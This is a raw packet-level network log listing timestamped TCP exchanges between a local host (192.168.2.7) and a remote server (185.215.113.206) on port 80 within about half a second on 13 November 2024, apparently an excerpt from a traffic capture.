Nov 13, 2024 14:41:10.309590101 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.309602976 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.309637070 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.309675932 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.309675932 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.309788942 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.309806108 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.309807062 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.309833050 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.309849977 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.309854031 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.309854031 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.309864998 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.309869051 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.309900999 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.309916019 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.310065985 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.310095072 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.310112953 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.310128927 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.310128927 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.310128927 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.310142994 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.310148001 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.310182095 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.310182095 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.310353994 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.310379982 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.310395956 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.310401917 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.310422897 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.310425997 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.310425997 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.310663939 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.310681105 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.310697079 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.310720921 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.310738087 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.310745001 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.310745001 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.310755968 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.310756922 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.310791016 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.310791016 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.310969114 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.310986042 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.311016083 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.311032057 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.311048985 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.311065912 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.311074018 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.311074018 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.311085939 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.311110973 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.311110973 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.311156034 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.311455965 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.311471939 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.311487913 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.311503887 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.311520100 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.311520100 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.311520100 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.311538935 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.311566114 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.311566114 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.311600924 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.393515110 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.393543959 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.393583059 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.393640041 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.393650055 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.393666983 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.393683910 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.393695116 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.393695116 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.393702030 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.393744946 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.393744946 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.428260088 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.428289890 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.428303003 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.428344011 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.428359985 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.428375006 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.428394079 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.428394079 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.428477049 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.428878069 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.428900957 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.428930998 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.428953886 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.428962946 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.428962946 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.428971052 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.428987980 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.428996086 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.428996086 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429006100 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429009914 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429023981 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429049015 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429049015 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429059029 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429111004 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429126978 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429141045 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429157972 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429158926 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429177046 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429177999 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429177999 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429195881 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429197073 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429227114 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429227114 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429465055 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429480076 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429495096 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429518938 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429524899 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429524899 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429534912 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429538965 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429553032 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429570913 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429570913 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429603100 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429914951 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429944038 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429959059 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429975986 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429980993 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429980993 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.429992914 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.429996014 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.430006027 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.430010080 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.430028915 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.430043936 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.430043936 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.430047035 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.430064917 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.430083036 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.430083036 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.430095911 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.430418968 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.430435896 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.430452108 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.430469036 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.430481911 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.430494070 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.512278080 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.512305021 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.512320995 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.512346029 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.512362003 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.512377977 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.512389898 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.512393951 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.512466908 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.549318075 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549335957 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549350023 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549365997 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549382925 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549398899 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549405098 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.549417019 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549433947 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549443007 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.549449921 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549465895 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549482107 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549499035 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549504042 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.549504042 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.549515963 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549532890 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549572945 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.549572945 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.549572945 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.549787045 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549803019 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549810886 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549818993 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549827099 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549864054 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.549901009 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549918890 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549933910 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549941063 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.549941063 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.549951077 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549967051 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549973011 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.549973011 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.549985886 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549999952 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550000906 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.549999952 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550018072 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.550031900 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550033092 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550034046 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.550050020 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550144911 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550671101 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.550688028 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.550703049 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.550713062 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550720930 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.550739050 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.550745010 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550745010 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550755978 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.550767899 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550774097 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.550791025 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.550805092 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550805092 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550805092 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550808907 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.550821066 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550823927 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.550842047 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.550846100 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550858974 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.550874949 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.550889015 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550889015 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550928116 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.550928116 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.630800009 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.630882025 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.630899906 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.630929947 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.630959034 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.630959034 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.630989075 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.631028891 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.631226063 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.631242990 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.631289959 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.631289959 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.631527901 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.631599903 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.678145885 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678164005 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678174973 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678189993 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678198099 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678209066 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678276062 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.678344965 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.678450108 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678462982 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678477049 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678500891 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.678555965 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.678591013 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678606033 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678617954 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678631067 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678668976 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.678668976 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.678762913 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.678797007 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678811073 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678864956 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.678874969 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678889990 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678903103 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678915977 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678917885 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.678917885 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.678930998 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.678951979 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.678951979 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.678989887 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.679354906 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.679368019 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.679379940 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.679393053 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.679405928 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.679419994 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.679434061 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.679435015 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.679435015 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.679449081 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.679471016 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.679471016 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.679511070 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.679692030 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.679768085 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.679781914 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.679781914 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.679795027 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.679810047 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.679824114 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.679830074 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.679830074 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.679881096 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.679881096 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.682332993 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.682404041 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.682420015 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.682435036 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.682446957 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.682446957 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.682451963 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.682471991 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.682482004 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.682482004 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.682488918 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.682499886 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.682507038 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.682533026 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.682533026 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.682606936 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.749411106 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.749464035 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.749480963 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.749552011 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.749569893 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.749619961 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.749619961 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.749619961 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.749665976 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.749684095 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.749707937 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.749707937 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.749741077 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.749834061 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.750622988 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.797220945 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.797240973 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.797256947 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.797293901 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.797308922 CET	80	49699	185.215.113.206	192.168.2.7
